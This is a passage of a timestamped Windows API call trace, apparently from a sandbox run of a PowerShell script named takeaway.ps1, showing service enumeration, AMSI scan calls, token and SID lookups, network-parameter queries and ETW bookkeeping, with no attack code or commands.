cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.238] CoTaskMemFree (pv=0x744e580) [0097.238] CoTaskMemFree (pv=0x744e580) [0097.238] CoTaskMemFree (pv=0x744e580) [0097.238] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0097.239] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.239] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.239] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.242] CoTaskMemFree (pv=0x744e580) [0097.242] CoTaskMemFree (pv=0x744e580) [0097.242] CoTaskMemFree (pv=0x744e580) [0097.242] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32971c0 [0097.242] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.243] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.243] EnumServicesStatusW (in: hSCManager=0x32971c0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.246] AmsiScanString () returned 0x80070015 [0097.299] QueryPerformanceCounter (in: lpPerformanceCount=0x843e114 | out: lpPerformanceCount=0x843e114*=77943029155) returned 1 [0097.355] QueryPerformanceCounter (in: lpPerformanceCount=0x843df44 | out: lpPerformanceCount=0x843df44*=77948698739) returned 1 [0097.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0097.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0097.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843de78) returned 1 [0097.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x843def4 | out: lpFileInformation=0x843def4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0097.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843de74) returned 1 [0097.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0097.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0097.356] AmsiScanString () returned 0x80070015 [0097.361] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.361] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅\x01") returned 0x0 [0097.361] CoTaskMemFree (pv=0x744e580) [0097.401] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843ddb0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ddb0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.401] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843dd1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843dd1c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.401] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843dda0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843dda0*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.474] GetCurrentProcess () returned 0xffffffff [0097.474] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843dc18 | out: TokenHandle=0x843dc18*=0x858) returned 1 [0097.474] GetCurrentProcess () returned 0xffffffff [0097.474] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843dbf0 | out: TokenHandle=0x843dbf0*=0x874) returned 1 [0097.475] GetTokenInformation (in: TokenHandle=0x858, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x843dc24 | out: TokenInformation=0x0, ReturnLength=0x843dc24) returned 0 [0097.475] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x75cc608 [0097.475] GetTokenInformation (in: TokenHandle=0x858, TokenInformationClass=0x1, TokenInformation=0x75cc608, TokenInformationLength=0x24, ReturnLength=0x843dc24 | out: TokenInformation=0x75cc608, ReturnLength=0x843dc24) returned 1 [0097.475] LocalFree (hMem=0x75cc608) returned 0x0 [0097.481] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x843db44, DesiredAccess=0x800, PolicyHandle=0x843db04 | out: PolicyHandle=0x843db04) returned 0x0 [0097.482] LsaLookupSids (in: PolicyHandle=0x73e0708, Count=0x1, Sids=0x577ac2c*=0x577abd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), ReferencedDomains=0x843db20, Names=0x843db14 | out: ReferencedDomains=0x843db20, Names=0x843db14) returned 0x0 [0097.484] LsaClose (ObjectHandle=0x73e0708) returned 0x0 [0097.484] LsaFreeMemory (Buffer=0x32f79f8) returned 0x0 [0097.484] LsaFreeMemory (Buffer=0x7407090) returned 0x0 [0097.549] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x843dbe8 | out: pFixedInfo=0x0, pOutBufLen=0x843dbe8) returned 0x6f [0098.193] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x744e580 [0098.193] GetNetworkParams (in: pFixedInfo=0x744e580, pOutBufLen=0x843dbe8 | out: pFixedInfo=0x744e580, pOutBufLen=0x843dbe8) returned 0x0 [0098.419] LocalFree (hMem=0x744e580) returned 0x0 [0098.419] GetCurrentProcessId () returned 0x190 [0098.419] GetCurrentThreadId () returned 0x1130 [0098.718] CoTaskMemFree (pv=0x744e580) [0098.718] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x843dbd0 | out: lpMode=0x843dbd0) returned 1 [0098.766] WriteConsoleW (in: hConsoleOutput=0x44c, lpBuffer=0x577a8cc*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x843dbc4, lpReserved=0x0 | out: lpBuffer=0x577a8cc*, lpNumberOfCharsWritten=0x843dbc4*=0x2a) returned 1 [0098.803] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843dbb0 | out: lpConsoleScreenBufferInfo=0x843dbb0) returned 1 [0098.880] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0x4f) returned 1 [0098.912] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843dbb0 | out: lpConsoleScreenBufferInfo=0x843dbb0) returned 1 [0098.916] SetConsoleTextAttribute (hConsoleOutput=0x44c, wAttributes=0xaf) returned 1 [0098.927] GetConsoleMode (in: hConsoleHandle=0x44c, lpMode=0x843dc10 | out: lpMode=0x843dc10) returned 1 [0098.974] WriteConsoleW (in: hConsoleOutput=0x44c, lpBuffer=0x4ff0ac0*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x843dc04, lpReserved=0x0 | out: lpBuffer=0x4ff0ac0*, lpNumberOfCharsWritten=0x843dc04*=0x1) returned 1 [0099.022] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843dd40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843dd40*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.038] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e5ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e5ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.039] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.039] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e5ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e5ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.039] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbc, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbc, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.039] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e5ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e5ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbc, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.039] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.042] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.042] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣ") returned 0x0 [0099.042] CoTaskMemFree (pv=0x744e580) [0099.042] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.042] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣ") returned 0x0 [0099.042] CoTaskMemFree (pv=0x744e580) [0099.042] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.042] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣ") returned 0x0 [0099.042] CoTaskMemFree (pv=0x744e580) [0099.042] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xce, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.042] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xbd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.043] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xce, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xce, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.043] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xcf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.043] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xce, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.043] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xcf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xcf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.044] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd0, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xcf, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.044] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd0, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd0, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.044] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3291ee8 [0099.045] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 0 [0099.045] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0099.045] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 1 [0099.055] CoTaskMemFree (pv=0x744e580) [0099.055] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.055] CoTaskMemFree (pv=0x744e580) [0099.055] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.055] CoTaskMemFree (pv=0x744e580) [0099.055] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd1, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd0, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd1, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd1, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd1, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.057] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3291ee8 [0099.057] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 0 [0099.058] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0099.058] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 1 [0099.060] CoTaskMemFree (pv=0x744e580) [0099.060] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.060] GetEnvironmentVariableW (in: 